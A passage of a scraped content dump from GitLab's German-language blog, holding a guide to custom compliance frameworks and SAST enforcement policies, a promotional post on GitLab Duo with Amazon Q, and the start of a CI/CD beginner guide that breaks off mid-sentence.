Bereitstellung der nächsten großen Innovation konzentrieren kannst.\n\n- [Verbesserte Qualitätssicherung von Anwendungen mit GitLab Duo Workflow](https://about.gitlab.com/de-de/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance/): Erfahre, wie du mithilfe von agentischer KI Unit-Tests zu einer Java-Anwendung hinzufügst (Video-Tutorial inklusive).\n\n- [Komplexe Herausforderungen mit GitLab Duo Workflow lösen (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/solving-complex-challenges-with-gitlab-duo-workflow/): Erfahre, wie ein Mitglied des GitLab-Management-Teams für Kundenerfolge agentische KI für die Lösung realer Probleme einsetzt, einschließlich der Bewältigung von Helm-Chart-Limits in der Paket-Registry.\n\n## Mehr erfahren mit GitLab University (nur in englischer Sprache verfügbar)\n\n- [Kurs „Erste Schritte mit GitLab Duo“](https://university.gitlab.com/pages/ai)\n- [GitLab Duo Enterprise Learning Path](https://university.gitlab.com/learning-paths/gitlab-duo-enterprise-learning-path)\n\n## Weitere Ressourcen zum Bereich KI\n\n- [Globaler DevSecOps-Bericht 2024: Navigation durch die KI-Entwicklung in DevSecOps](https://about.gitlab.com/de-de/developer-survey/2024/ai/)\n- [Die Rolle der KI bei DevOps](https://about.gitlab.com/de-de/topics/devops/the-role-of-ai-in-devops/)\n- [Die neuesten KI-/ML-Artikel von GitLab](https://about.gitlab.com/de-de/blog/categories/ai-ml/)\n- [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/)",[826],"2025-06-18","2025-05-07",[679,746,767],{"slug":1616,"featured":92,"template":682},"agentic-ai-guides-and-resources","content:de-de:blog:agentic-ai-guides-and-resources.yml","Agentic Ai Guides And Resources","de-de/blog/agentic-ai-guides-and-resources.yml","de-de/blog/agentic-ai-guides-and-resources",{"_path":1622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1623,"content":1629,"config":1634,"_id":1636,"_type":16,"title":1637,"_source":17,"_file":1638,"_stem":1639,"_extension":20},"/de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":1624,"description":1625,"ogTitle":1624,"ogDescription":1625,"noIndex":6,"ogImage":1626,"ogUrl":1627,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1627,"schema":1628},"So verwendest du die benutzerdefinierten Compliance Frameworks von GitLab in deiner DevSecOps-Umgebung","Erfahre, wie sich regulatorische Anforderungen durch neue Frameworks zusammen mit mehr als 50 standardmäßigen Kontrollen von lästigen Checklisten in integrierte, automatisierte Workflow-Komponenten verwandeln.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So verwendest du die benutzerdefinierten Compliance Frameworks von GitLab in deiner DevSecOps-Umgebung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-30\",\n      }",{"title":1624,"description":1625,"authors":1630,"heroImage":1626,"date":1631,"body":1632,"category":765,"tags":1633},[762],"2025-04-30","Compliance ist mehr als nur ein Kontrollkästchen, sondern vielmehr eine wichtige Unternehmensfunktion, die sich von betrieblichen Risiken bis hin zum Kundenvertrauen auf jeden Bereich auswirkt. Für Entwicklungsteams kann es sich besonders schwierig gestalten, die Compliance-Anforderungen mit einer angemessenen Geschwindigkeit in Einklang zu bringen. Die [benutzerdefinierten Compliance Frameworks (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) von GitLab ermöglichen eine einfache und direkte Integration der Compliance-Verifizierung in deinen Entwicklungsworkflow. In diesem Artikel erfährst du, worum es sich dabei im Detail handelt und wie du sie so effizient wie möglich einsetzen kannst.\n\n## Was sind die benutzerdefinierten Compliance Frameworks von GitLab?\n\nMit den benutzerdefinierten Compliance Frameworks von GitLab können Unternehmen ihre Compliance-Standards direkt in ihrer GitLab-Instanz definieren, implementieren und durchsetzen. Diese Funktion erweitert die integrierten Compliance-Funktionen von GitLab und ermöglicht den Teams die Erstellung benutzerdefinierter Frameworks, die mit den konkreten gesetzlichen Anforderungen, internen Richtlinien oder Branchenstandards übereinstimmen.\n\nDie benutzerdefinierten Compliance Frameworks bieten folgende Vorteile:\n* Weniger manuelle Nachverfolgung  \n* Schnellere Bereitschaft für Audits  \n* Native Durchsetzung von Compliance-Kontrollen\n\n![Screenshot des Compliance Centers mit einer Liste der Frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nIm Rahmen dieser Veröffentlichung werden über 50 standardmäßig verfügbare Kontrollen bereitgestellt (weitere folgen in Kürze), die auf die individuellen Compliance-Anforderungen deines Unternehmens zugeschnitten werden können, einschließlich HIPAA im Gesundheitswesen, DSGVO für den Datenschutz, SOC 2 für Dienstleistungsunternehmen oder branchenspezifische Vorschriften. Einige Beispiele für standardmäßig verfügbare Kontrollen sind unter anderem:\n\n* Aufgabentrennung (z. B. mindestens zwei genehmigende Personen und ein(e) Autor(in) für einen Merge Request)   \n* Ausführung von Sicherheitsscannern (z. B. [SAST (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/sast/) und [Abhängigkeitssuche (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/dependency_scanning/)  \n* Authentifizierung/Genehmigung (z. B. keine öffentliche Projektsichtbarkeit und AuthSSO erforderlich)  \n* Anwendungskonfiguration (z. B. Statusprüfungen und Terraform erforderlich)\n\nDarüber hinaus kannst du externe Umgebungskontrollen über die GitLab-API konfigurieren, um den Status und die Details einer externen Umgebung zu überprüfen.\n\n## Entwickeln eines benutzerdefinierten Compliance Frameworks von Grund auf\n\nNachdem wir nun den Wert verstanden haben, wollen wir uns im nächsten Schritt ansehen, wie du benutzerdefinierte Compliance Frameworks in deiner GitLab-Umgebung implementieren kannst. Wir verwenden dazu diese Demo-Anwendung. Du kannst den Details in diesem Video folgen. \n\n**Hinweis:** Dazu ist ein GitLab-Ultimate-Abonnement erforderlich.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Schritt 1: Definiere deine Compliance-Anforderungen**\n\nBevor du dein benutzerdefiniertes Framework erstellst, musst du zunächst deine Compliance-Anforderungen klar definieren:\n\n1. **Identifiziere die geltenden Vorschriften:** Bestimme, welche Vorschriften und Standards für dein Unternehmen gelten (z. B. DSGVO, PCI DSS und HIPAA). \n2. **Ordne die Anforderungen den Kontrollen zu:** Unterteile jede Vorschrift in konkrete umsetzbare Kontrollen.  \n3. **Priorisiere die Anforderungen:** Konzentriere dich auf die Bereiche mit hohem Risiko sowie die Anforderungen mit der größten Wirkung.\n\n**Schritt 2: Entwickle dein benutzerdefiniertes Compliance Framework**\n\nSo entwickelst du ein benutzerdefiniertes Compliance Framework in GitLab:\n\n1. Navigiere in deiner GitLab-Gruppe zum Abschnitt **Sichern > Compliance Center**.  \n2. Klicke auf die Schaltfläche **Neues Framework**.  \n3. Wähle **Leeres Framework erstellen** aus.\n\n![Bildschirm zum Erstellen eines benutzerdefinierten Compliance Frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Gib einen Namen, eine Beschreibung und eine Farbe für dein Framework ein.\n\n![Bildschirm „Neues Compliance Framework“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Füge dem Framework eine Anforderung hinzu:  \n   a. Scrolle nach unten zum Tab **Anforderungen**.\n\n   b. Klicke auf die Schaltfläche **Neue Anforderung**.\n\n   c. Gib einen Namen und eine Beschreibung ein.\n   d. Wähle im Abschnitt **Kontrollen** **GitLab-Kontrolle auswählen** aus.  \n   e. Wähle eine Kontrolle aus der Liste aus (z. B. mindestens zwei Genehmigungen, SAST wird ausgeführt).  \n   f. Klicke auf die Schaltfläche **Anforderung erstellen**.\n\n![Schaltfläche „Neue Anforderung erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Klicke auf die Schaltfläche **Framework erstellen**.\n\nDas Framework wird wie angegeben erstellt und kann nun zu Projekten hinzugefügt werden. Darüber hinaus können Compliance Frameworks mit einem JSON mit dem entsprechenden Schema [importiert](http://TODO) werden.\n\n**Schritt 3: Wende das Framework auf Projekte an**\n\nSobald dein Framework erstellt wurde, gehst du wie folgt vor:\n1. Wähle im Compliance Center die Registerkarte **Projekte** aus.  \n2. **Suche** mit dem Suchfeld oder **filtere** die Ergebnisse.  \n3. Wähle die Projekte aus, auf die du dein Framework anwenden möchtest.  \n4. Klicke auf die Schaltfläche **Eine Massenaktion auswählen**.  \n5. Wähle **Frameworks auf ausgewählte Projekte anwenden** aus.  \n6. Klicke auf die Schaltfläche **Frameworks auswählen**.  \n7. Wähle deine Frameworks aus der Liste aus.  \n8. Klicke auf die Schaltfläche **Anwenden**.\n\n![Compliance-Center-Fenster mit Dropdown-Liste für das SOC-2-Framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nDas Framework wird nun auf das Projekt angewendet, wodurch seine Anforderungen sichtbar und nachvollziehbar werden.\n\n**Schritt 4: Überwache die Compliance und erstelle dazu entsprechende Berichte**\n\nSobald dein Framework eingerichtet ist, kannst du Folgendes tun:\n\n1. Im **Compliance Center** kannst du den Compliance-Status über alle Projekte hinweg verfolgen, einschließlich Details und vorgeschlagener Korrekturen für fehlgeschlagene Kontrollen.\n2. Erstelle **Compliance-Berichte** für Audits und Stakeholder-Reviews.  \n3. Richte **Compliance-Alarme** ein, um die Stakeholder über mögliche Compliance-Probleme zu informieren. \n4. Überprüfe **Audit Events**, um einen Überblick über die Maßnahmen zu erhalten, die im Zusammenhang mit den Compliance-Einstellungen ergriffen wurden.\n\n![Bildschirm des Compliance Centers mit SOC-2-Test-Framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Praxisbeispiel: Implementierung eines SOC 2 Compliance Frameworks\n\nSystem and Organization Controls 2, besser bekannt als SOC 2, ist ein strenger Prüfungsstandard, der vom American Institute of Certified Public Accountants entwickelt wurde und die Kontrollen eines Dienstleistungsunternehmens in Bezug auf seine Sicherheit, Verfügbarkeit, Verarbeitungsintegrität, Vertraulichkeit und seinen Datenschutz evaluiert. Weitere Informationen findest du in meinem [Leitfaden zur Erfüllung der SOC-2-Sicherheitsanforderungen mit GitLab (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/).\n\nSehen wir uns nun ein praktisches Beispiel für die Verwendung eines benutzerdefinierten Compliance Frameworks zur Überprüfung der SOC-2-Sicherheits-Compliance an, wo folgende Anforderungen gelten:\n\n* Implementierung von Kontrollen zum Schutz vor unbefugtem Zugriff  \n* Einrichtung von Verfahren zur Identifizierung und Minderung von Risiken  \n* Einrichtung von Systemen zur Erkennung von und zum Umgang mit sicherheitsrelevanten Vorfällen\n\n**Haftungsausschlussklausel:** Dies ist nur ein Beispiel, in dem einige der möglichen Kontrollen zur Einhaltung von SOC 2 aufgezeigt werden. Konsultiere dein Sicherheits-/Compliance-Team, bevor du eine Implementierung in die Produktion überführst.\n\nEin benutzerdefiniertes Compliance Framework für SOC 2 sieht bei Verwendung einiger standardmäßiger Kontrollen von GitLab wie folgt aus:\n\n* **Name:** SOC-2-Sicherheitsanforderungen  \n* **Beschreibung:** Ergänzt die Sicherheitsanforderungen für die Einhaltung des SOC-2-Frameworks \n* **Anforderungen:**  \n  * **Implementierung von Kontrollen zum Schutz vor unbefugtem Zugriff**  \n    * Aktivierung von Auth SSO\n    * Aktivierung des CI/CD-Job-Token-Bereichs\n    * MFA auf Organisationsebene erforderlich \n   * **Richte Verfahren zur Identifizierung und Minderung von Risiken ein**\n    * Mindestens zwei genehmigende Personen\n    * Autor(in) hat den Merge Request genehmigt \n    * Die Committer haben den Merge Request genehmigt  \n    * Standard-Branch ist geschützt  \n  * **Einrichtung von Systemen zur Erkennung von und zum Umgang mit sicherheitsrelevanten Vorfällen**  \n    * Abhängigkeitssuche wird ausgeführt    \n    * SAST wird ausgeführt  \n    * DAST wird ausgeführt\n\nWenn du dieses Framework auf dein(e) Projekt(e) anwendest, kannst du überwachen, ob und wann sie nicht mehr die Compliance-Kriterien erfüllen und was getan werden kann, damit die Erfüllung der Compliance-Kriterien wieder gewährleistet ist. Beachte, dass du mehrere Compliance Frameworks für Projekte erstellen und anwenden kannst. Du kannst zum Beispiel eines für die SOC-2-Anforderungen an die Prozessintegrität implementieren.\n\n## Implementiere Sicherheitsrichtlinien, um sicherzustellen, dass die Compliance-Anforderungen erfüllt werden\n\nObwohl dies nicht erforderlich ist, können Sicherheitsrichtlinien auf Projekte angewendet werden, die ein benutzerdefiniertes Compliance Framework enthalten. So kannst du sicherstellen, dass bestimmte Compliance-Kriterien über Sicherheitsrichtlinien durchgesetzt werden. Du kannst zum Beispiel erzwingen, dass Sicherheitsscanner für Projekte ausgeführt werden, die ein benutzerdefiniertes Compliance Framework enthalten, das einen solchen Sicherheitsscan erfordert. \n\nGitLab bietet verschiedene Sicherheitsrichtlinien (Dokumentation nur in englischer Sprache verfügbar):\n\n* [Scan-Ausführungsrichtlinie](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/): Erzwingt Sicherheitsscans, entweder als Teil der Pipeline oder nach einem festgelegten Zeitplan.  \n* [Merge-Request-Approvalrichtlinie](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/): Erzwingt Einstellungen auf Projektebene und Approvalregeln auf Basis der Ergebnisse des Scans.  \n* [Pipeline-Ausführungsrichtlinie](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/): Erzwingt CI/CD-Jobs als Teil von Projekt-Pipelines. \n* [Richtlinie zum Sicherheitslückenmanagement](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/): Behebt automatisch Sicherheitslücken, die im Standard-Branch nicht mehr erkannt werden.\n\nWir wollen nun die Ausführung eines SAST-Scanners erzwingen, um automatisch alle Anforderungen zu erfüllen, die einen SAST-Scan erfordern. So erstellst du eine Sicherheitsrichtlinie und wendest sie auf ein Projekt mit einem bestimmten Framework an:\n\n1. Navigiere zu einem Projekt mit einem benutzerdefinierten Compliance Framework, das einen **SAST-Scan** erfordert. \n2. Wähle in der Seitenleiste **Sichern > Richtlinien** aus.  \n3. Klicke auf die Schaltfläche **Neue Richtlinie**.  \n4. Klicke unter **Scan-Ausführungsrichtlinien** auf die Schaltfläche **Richtlinie auswählen**. \n5. Gib den **Namen** und die **Beschreibung** ein. \n6. Wähle unter **Aktionen** **SAST** als auszuführenden Scan aus.\n\n![Aktionsbildschirm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Wähle unter **Bedingungen** die Pipeline aus, die ausgelöst werden soll, wenn eine Pipeline für alle Branches ausgeführt wird.\n\n![Bildschirm „Bedingungen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Klicke auf die Schaltfläche **Mit einem Merge Request konfigurieren**.  \n9. In einem separaten Projekt wird nun ein MR erstellt, der alle Sicherheitsrichtlinien enthält, die für dieses Projekt gelten.\n10. Klicke auf die Schaltfläche **Zusammenführen**.\n\nJetzt wird SAST für jeden Branch ausgeführt, um sicherzustellen, dass du im jeweiligen Bereich die Compliance-Anforderungen erfüllst. Überprüfe unbedingt die verschiedenen Sicherheitsrichtlinien, um im Detail zu erfahren, wie sie zu deinen Anforderungen passen.\n\n## 5 Best Practices, die du beachten solltest \n\nSo maximierst du den Wert benutzerdefinierter Compliance Frameworks:\n\n1. **Fang klein an:** Beginne mit einer kritischen Vorschrift oder einem Standard, bevor du sukzessive erweiterst.  \n2. **Beteilige die wichtigsten Stakeholder:** Beziehe die Compliance-, Sicherheits- und Entwicklungsteams in die Erstellung des Frameworks ein.  \n3. **Automatisiere, wo möglich:** Verwende GitLab CI/CD, um Compliance-Überprüfungen zu automatisieren.  \n4. **Sorge für eine gründliche Dokumentation:** Pflege eine klare Dokumentation darüber, wie dein Framework den gesetzlichen Anforderungen entspricht.  \n5. **Regelmäßige Überprüfungen:** Aktualisiere deine Frameworks, wenn sich die Vorschriften ändern oder neue Anforderungen entstehen.\n\n## Leg noch heute los\n\nDie benutzerdefinierten Compliance Frameworks von GitLab sind ein bedeutender Fortschritt im DevSecOps-Bereich, da mit ihnen die Compliance direkt in den Entwicklungsworkflow integriert wird. Durch die Implementierung benutzerdefinierter Frameworks können Unternehmen ihren Compliance-Aufwand reduzieren, ihr Risikomanagement verbessern und die Entwicklungszyklen beschleunigen, während sie gleichzeitig beständig die gesetzlichen Anforderungen erfüllen.\n\nDurch die Möglichkeit, benutzerdefinierte Compliance Frameworks zu definieren und durchzusetzen, erhalten die Teams die Flexibilität, die sie benötigen, um die Anforderungen ihrer konkreten regulatorischen Landschaft zu erfüllen. Gleichzeitig erhalten sie so die notwendige Struktur, um einheitliche Compliance-Praktiken im gesamten Unternehmen sicherzustellen.\n\nDa die regulatorischen Anforderungen immer komplexer werden, werden Tools wie die benutzerdefinierten Compliance Frameworks von GitLab für Unternehmen, mit denen die umfassenden Compliance-Anforderungen und eine zielführende Entwicklungsgeschwindigkeit auf nachhaltige Weise in Einklang gebracht werden sollen, immer wichtiger.\n\n> Melde dich für deine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) an, um die benutzerdefinierten Compliance Frameworks noch heute auszuprobieren.\n\n## Mehr erfahren \n\nIn diesen Ressourcen erfährst du mehr über benutzerdefinierte Compliance Frameworks und ihre Vorteile für dein Unternehmen:\n\n* [Dokumentation zu benutzerdefinierten Compliance Frameworks (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/)   \n* [Epic zu benutzerdefinierten Compliance Frameworks](https://gitlab.com/groups/gitlab-org/-/epics/13295)   \n* [Dokumentation der Sicherheitsrichtlinien (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/policies/)  \n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/)",[765,767,746,745,680],{"slug":1635,"featured":92,"template":682},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:de-de:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":1641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1642,"content":1648,"config":1654,"_id":1656,"_type":16,"title":1657,"_source":17,"_file":1658,"_stem":1659,"_extension":20},"/de-de/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"title":1643,"description":1644,"ogTitle":1643,"ogDescription":1644,"noIndex":6,"ogImage":1645,"ogUrl":1646,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1646,"schema":1647},"GitLab Duo mit Amazon Q: In wenigen Minuten wird aus einer Idee der passende Code","Die neue Integration von GitLab Duo mit Amazon Q analysiert deine Tickets und erstellt automatisch funktionierende Codelösungen, wodurch deine Workflows beschleunigt werden.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097127/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750097126673.png","https://about.gitlab.com/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo mit Amazon Q: In wenigen Minuten wird aus einer Idee der passende Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-28\",\n      }\n                  ",{"title":1643,"description":1644,"authors":1649,"heroImage":1645,"date":1650,"body":1651,"category":677,"tags":1652,"updatedDate":1653},[888],"2025-04-28","Hast du schon einmal Tage oder sogar Wochen damit verbracht, aus einem komplexen Problem einen funktionierenden Code zu machen? Wer hat das nicht? Man beginnt mit einer vernünftigen Idee und klaren Anforderungen, aber der Weg vom anfänglichen Konzept hin zu bereitstellbarem Code kann frustrierend lang sein. Deine Produktivität wird durch Implementierungsdetails gebremst und Projekte, die schnell vorankommen sollten, ziehen sich in die Länge.\n\nHier kommt die [agentische KI](https://about.gitlab.com/de-de/topics/agentic-ai/) mit all ihrer Power ins Spiel. [GitLab Duo mit Amazon Q](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) kombiniert die umfassende KI-basierte DevSecOps-Plattform mit den umfangreichsten Cloud-Computing-Funktionen, um deinen Anwendungsentwicklungsprozess innerhalb deines vertrauten GitLab-Workflows drastisch zu beschleunigen. Indem sie deinen Weg von der Idee bis zur Bereitstellung optimiert, kann diese leistungsstarke Integration Implementierungslösungen ausschließlich anhand deiner Ticketbeschreibungen vorschlagen – so wird ein Vorgang, der früher Tage dauerte, in wenigen Minuten erledigt.\n\n## So funktioniert’s: vom Ticket zum funktionierenden Code\n\nSehen wir uns an, wie die agentische KI-Funktion in der Praxis funktioniert. Stell dir vor, du bist Entwickler(in) und sollst eine Anwendung für einen Hypothekenrechner erstellen. So hilft dir GitLab Duo mit Amazon Q dabei:\n\n1. **Erstelle ein Ticket mit detaillierten Anforderungen:** Erstelle zunächst ein Standard-[GitLab-Ticket](https://docs.gitlab.com/user/project/issues/). In der Beschreibung gibst du eine umfassende Liste der Anforderungen an, die deine Anwendung erfüllen muss. Dies bildet die Grundlage für deine Lösung.\n\n2. **Rufe Amazon Q mit einem Schnellzugriff auf:** Sobald dein Ticket erstellt ist, fügst du einfach einen Kommentar mit dem Schnellzugriff „/q dev“ hinzu, um Amazon Q aufzurufen. Jetzt wird es magisch. \n\n3. **Lass die KI deine Implementierung generieren:** GitLab Duo mit Amazon Q analysiert deine Ticketbeschreibung und den Kontext deines Quellcodes und generiert dann autonom Code, der alle angegebenen Anforderungen erfüllt. Und das ist noch nicht alles – es überträgt diese Änderungen sogar in einen Merge Request, der dann von dir überprüft werden kann.\n\n![Screenshot des Aktivitäts-Pop-ups von GitLab Duo mit Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097156/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097156018.png)\n\n4. **Überprüfe die generierte Anwendung**: Gehe nun zum Merge Request, um den generierten Code zu überprüfen. Sieh dir hier an, ob alle deine Anforderungen erfüllt wurden, und nimm bei Bedarf Anpassungen vor.\n\n5. **Teste die vorgeschlagene Anwendung**: Überprüfe abschließend, ob die Anwendung erfolgreich ausgeführt wird. Mit minimalem Aufwand hast du jetzt einen funktionierenden Code, der deine festgelegten Anforderungen erfüllt.\n\n## Transformiere deinen Entwicklungsprozess\n\nGitLab Duo mit Amazon Q transformiert diesen Prozess vollständig, indem es durch intelligente Automatisierung die Zeit, die für komplexe Entwicklungsaufgaben aufgewendet werden muss, signifikant senkt. Durch den Einsatz von agentischer KI kannst du deinen Weg von der Idee bis zur Bereitstellung verkürzen und gibst Entwicklungsteams so die Möglichkeit, sich auf strategischere Aufgaben zu konzentrieren.\n\nMit GitLab Duo und Amazon Q entwickelst du Software schneller, effizienter und mit geringerem manuellem Programmieraufwand. Diese Integration hilft dir:\n\n* **Wertvolle Entwicklungszeit zu sparen**, indem Implementierungen automatisiert werden und die jeweiligen Anforderungen berücksichtigt werden\n* **Konsistent zu bleiben**, wenn du Code übergreifend über Projekte generierst\n* **Die kognitive Belastung zu reduzieren**, die auftritt, wenn Anforderungen in funktionierenden Code umgewandelt werden sollen\n* **Deine Bereitstellungszyklen zu beschleunigen**, indem Engstellen bei der Implementierung eliminiert werden\n* **Dich auf deine Expertise zu konzentrieren** und Code zu überprüfen und zu optimieren, anstatt dich mit Boilerplate-Code herumschlagen zu müssen.\n\nBist du bereit, GitLab Duo mit Amazon Q in Aktion zu erleben? In unserem Demo-Video erfährst du, wie du deinen Entwicklungsworkflow jetzt transformieren kannst.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jxxzNst3jpo?si=j_LQdZhUnwqoQEst\" title=\"GitLab Duo with Amazon Q demo video for dev workflow\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Besuche uns auf einem der bevorstehenden [AWS Summits in einer Stadt in deiner Nähe](https://about.gitlab.com/de-de/events/aws-summits/) oder [wende dich an deine(n) GitLab-Vertreter(in)](https://about.gitlab.com/de-de/partners/technology-partners/aws/#form), um mehr über GitLab Duo mit Amazon Q zu erfahren.\n\n## Ressourcen zu GitLab Duo mit Amazon Q\n\n- [GitLab Duo mit Amazon Q: Die für AWS optimierte agentische KI ist jetzt allgemein verfügbar](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab und AWS – Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/aws/)\n- [Dokumentation zu GitLab Duo mit Amazon Q (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/duo_amazon_q/)",[679,1272,767,746,680,235],"2025-06-06",{"slug":1655,"featured":92,"template":682},"gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","content:de-de:blog:gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","Gitlab Duo Amazon Q Transform Ideas Into Code In Minutes","de-de/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","de-de/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"_path":1661,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1662,"content":1667,"config":1672,"_id":1674,"_type":16,"title":1675,"_source":17,"_file":1676,"_stem":1677,"_extension":20},"/de-de/blog/getting-started-with-gitlab-understanding-ci-cd",{"title":1663,"description":1664,"ogTitle":1663,"ogDescription":1664,"noIndex":6,"ogImage":1525,"ogUrl":1665,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1665,"schema":1666},"Erste Schritte mit GitLab: Grundlegendes zu CI/CD","In diesem Leitfaden für Einsteiger(innen) lernst du die Grundlagen der kontinuierlichen Integration und kontinuierlichen Lieferung kennen. Du erfährst, was CI/CD-Komponenten sind und wie du sie erstellst.","https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erste Schritte mit GitLab: Grundlegendes zu CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-04-25\",\n      }",{"title":1663,"description":1664,"authors":1668,"heroImage":1525,"date":1669,"body":1670,"category":680,"tags":1671,"updatedDate":1468},[826],"2025-04-25","Stell dir einen Workflow vor, bei dem jede Codeänderung automatisch erstellt, getestet und für deine Benutzer(innen) bereitgestellt wird. Genau das macht [CI/CD (Kontinuierliche Integration/Kontinuierliche Lieferung)](https://about.gitlab.com/de-de/topics/ci-cd/)! Mit CI/CD kannst du Fehler frühzeitig erkennen, die Qualität des Codes sicherstellen und Software schneller und häufiger bereitstellen.\n\n## Inhaltsverzeichnis\n\n- [Was ist CI/CD?](#was-ist-cicd%3F)\n- [Vorteile von GitLab CI/CD](#vorteile-von-gitlab-cicd)\n- [Die Elemente von GitLab CI/CD](#die-elemente-von-gitlab-cicd)\n- [GitLab CI einrichten](#gitlab-ci-einrichten)\n- [Beispiele für die CI/CD-Konfiguration](#beispiele-für-die-cicd-konfiguration)\n- [GitLab Auto-DevOps](#gitlab-auto-devops)\n- [CI/CD-Katalog](#cicd-katalog)\n- [CI-Vorlagen](#ci-vorlagen)\n- [Entwicklung der nächsten Generation](#entwicklung-der-nächsten-generation)\n- [Reihe „Erste Schritte mit GitLab\"](#reihe-„erste-schritte-mit-gitlab“)\n\n### Was ist CI/CD?\n\n* **Kontinuierliche Integration** ist eine Entwicklungsmethode, bei der Entwickler(innen) häufig, nach Möglichkeit mehrmals am Tag, Codeänderungen in ein gemeinsames Repository integrieren. Jede Integration wird dann durch einen automatisierten Build- und Testprozess überprüft, so dass die Teams Probleme frühzeitig erkennen können.  \n* **Kontinuierliche Lieferung** erweitert CI, indem sie die Bereitstellungspipeline automatisiert und dafür sorgt, dass dein Code *immer* in einem einsatzfähigen Zustand ist. Du kannst deine Anwendung mit einem 